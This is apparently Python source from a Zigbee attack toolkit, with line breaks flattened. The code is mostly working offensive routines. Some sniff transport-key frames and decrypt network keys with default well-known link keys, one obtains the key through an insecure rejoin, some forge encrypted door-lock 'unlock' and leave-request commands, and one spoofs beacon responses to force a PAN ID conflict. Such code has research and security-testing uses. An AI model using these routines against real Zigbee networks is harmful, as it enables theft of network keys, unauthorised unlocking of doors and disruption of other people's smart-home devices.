def notify(self, channel, frame): if is_transport_key(frame): if get_extended_source(frame) is not None: extended_source_bytes = extended_address_bytes(get_extended_source(frame)) decrypted, valid = crypto_utils.zigbee_packet_decrypt(crypto_utils.zigbee_trans_key(crypto_utils.DEFAULT_ZLL_COMMISSION_KEY), frame, extended_source_bytes) if valid: print_notify("Network key acquired for PAN 0x%04x" % get_pan_id(frame)) network_key = bytes(decrypted)[2:18] print_info("Extracted key is 0x%s" % network_key.hex())
def insecure_rejoin_by_panid(radio, panid, src_addr=None, extended_src=None, coord_addr=None, seq_num=None, nwk_seq_num=None): if src_addr is None: src_addr = random.randint(0,0xfff0) if extended_src is None: extended_src = random.randint(0, 0xffffffffffffffff) if coord_addr is None: coord_addr = find_coord_addr_by_panid(radio, panid) if seq_num is None: seq_num = random.randint(0,255) if nwk_seq_num is None: nwk_seq_num = random.randint(0,255) if coord_addr is None: print_info("No coordinator address seen, using default of 0x0000") coord_addr = 0x0000 dot15d4_seq_iter = SequenceIterator(initial_value=seq_num, value_limit=255) nwk_seq_iter = SequenceIterator(initial_value=nwk_seq_num, value_limit=255) print_notify("Attempting to join PAN ID 0x%04x using insecure rejoin" % panid) print_info("Sending insecure rejoin") radio.send_and_retry(insecure_rejoin(src_addr, coord_addr, panid, extended_src, seq_num=dot15d4_seq_iter.next(), nwk_seq_num=nwk_seq_iter.next())) radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next())) coord_extended_src = None print_info("Awaiting response...") timer = Timer(RESPONSE_TIME_LIMIT) while(not timer.has_expired()): frame = radio.receive_and_ack(addr=src_addr, panid=panid) if is_rejoin_response(frame): print_notify("Rejoin response observed") coord_extended_src = frame[ZigbeeNWK].ext_src radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next())) break if coord_extended_src is None: print_error("No rejoin response observed") print_info("Awaiting transport key...") timer.reset() while(not timer.has_expired()): frame = radio.receive_and_ack(addr=src_addr, panid=panid) if is_transport_key(frame): print_notify("Transport key observed") print_info("Attempting to decrypt the network key") coord_extended_source_bytes = extended_address_bytes(coord_extended_src) decrypted, valid = crypto_utils.zigbee_packet_decrypt(crypto_utils.zigbee_trans_key(crypto_utils.DEFAULT_TRANSPORT_KEY), frame, coord_extended_source_bytes) if valid: print_notify("Network key acquired") network_key = bytes(decrypted)[2:18] print_info("Extracted key is 0x%s" % network_key.hex()) return network_key else: print_info(str(coord_extended_source_bytes)) print_error("Network key could not be decrypted") return None
def encrypted_unlock(panid, source, destination, extended_source, key, frame_counter=0, seq_num=0, nwk_seq_num=0, aps_counter=0, zcl_seq_num=0): panid = pan(panid) source = address(source) destination = address(destination) extended_source = extended_address(extended_source) extended_source_bytes = extended_address_bytes(extended_source) aps_payload = ZigbeeAppDataPayload() aps_payload.aps_frametype = 0 aps_payload.delivery_mode = 3 aps_payload.frame_control = 4 aps_payload.cluster = 0x0101 aps_payload.profile = 0x0104 aps_payload.group_addr = 0x0005 aps_payload.dst_endpoint = 0xff # Broadcast aps_payload.src_endpoint = 1 aps_payload.counter = aps_counter zcl = ZigbeeClusterLibrary() zcl.zcl_frametype = 1 zcl.transaction_sequence = zcl_seq_num zcl.command_identifier = 1 payload = aps_payload / zcl dot15d4_data = dot15d4_data_stub(seq_num, panid, source, destination) nwk = nwk_stub(source, destination, nwk_seq_num) security_header = security_header_stub(extended_source, frame_counter) unencrypted_frame_part = dot15d4_data / nwk / security_header return crypto_utils.zigbee_packet_encrypt(key, unencrypted_frame_part, bytes(payload), extended_source_bytes)
def encrypted_leave_req(panid, source, destination, extended_source, key, frame_counter=0, seq_num=0, nwk_seq_num=0, aps_counter=0, zcl_seq_num=0): panid = pan(panid) source = address(source) destination = address(destination) extended_source = extended_address(extended_source) extended_source_bytes = extended_address_bytes(extended_source) aps_payload = ZigbeeAppDataPayload() aps_payload.frame_control = 4 aps_payload.delivery_mode = 0 aps_payload.aps_frametype = 0 aps_payload.dst_endpoint = 0 aps_payload.cluster = 0x0034 aps_payload.profile = 0x0000 aps_payload.src_endpoint = 0 aps_payload.counter = aps_counter zdp = ZigbeeDeviceProfile() zdp.sequence_number = zcl_seq_num zdp.extended_address = 0 zdp.remove_children = 0 zdp.rejoin = 0 payload = aps_payload / zdp dot15d4_data = dot15d4_data_stub(seq_num, panid, source, destination) nwk = nwk_stub(source, destination, nwk_seq_num) security_header = security_header_stub(extended_source, frame_counter) unencrypted_frame_part = dot15d4_data / nwk / security_header return crypto_utils.zigbee_packet_encrypt(key, unencrypted_frame_part, bytes(payload), extended_source_bytes)
def pan_conflict_by_panid(radio, panid, network_key=None, coord_ext_addr=None): print_info("Performing PAN ID conflict") conflict_sent = False for attempt in range(NUMBER_OF_ATTEMPTS): seq_num = random.randint(0, 255) seq_iter = SequenceIterator(seq_num) radio.send(beacon_request(seq_num=seq_iter.next())) timer = Timer(RESPONSE_TIME_LIMIT) while not timer.has_expired(): frame = radio.receive() if is_beacon_response(frame): if frame[Dot15d4FCS].src_panid == panid: print_info("Network observed, sending conflict") current_seq_num = seq_iter.next() radio.send(beacon_response(panid, seq_num=current_seq_num)) radio.send(beacon_response(panid, seq_num=current_seq_num)) break if network_key is not None and coord_ext_addr is not None: timer.reset() print_info( "Verifying the conflict took by looking for the network update" ) while not timer.has_expired(): frame = radio.receive() if frame is not None and ZigbeeSecurityHeader in frame: coord_ext_addr_bytes = extended_address_bytes( coord_ext_addr) decrypted, valid = crypto_utils.zigbee_packet_decrypt( network_key, frame, coord_ext_addr_bytes) if valid: if bytes(decrypted)[0] == 0x0a: print_info( "Network update observed. PAN conflict worked") return True print_error( "Did not observe a network update. PAN conflict likely failed") return False return True
def extractKeyOnChannel(self, channel): self.radio.set_channel(channel) print_notify("Listening to channel %d" % self.radio.get_channel()) while True: frame = self.radio.receive() if is_transport_key(frame): print_notify("Got transport key packet") if get_extended_source(frame) is not None: print("Got extended source") extended_source_bytes = extended_address_bytes( get_extended_source(frame)) decrypted, valid = crypto_utils.zigbee_packet_decrypt( crypto_utils.DEFAULT_ZLL_COMMISSION_KEY, frame, extended_source_bytes) if valid: print_notify("Network key acquired for PAN 0x%04x" % get_pan_id(frame)) network_key = bytes(decrypted)[2:18] print_info("Extracted key is 0x%s" % network_key.hex())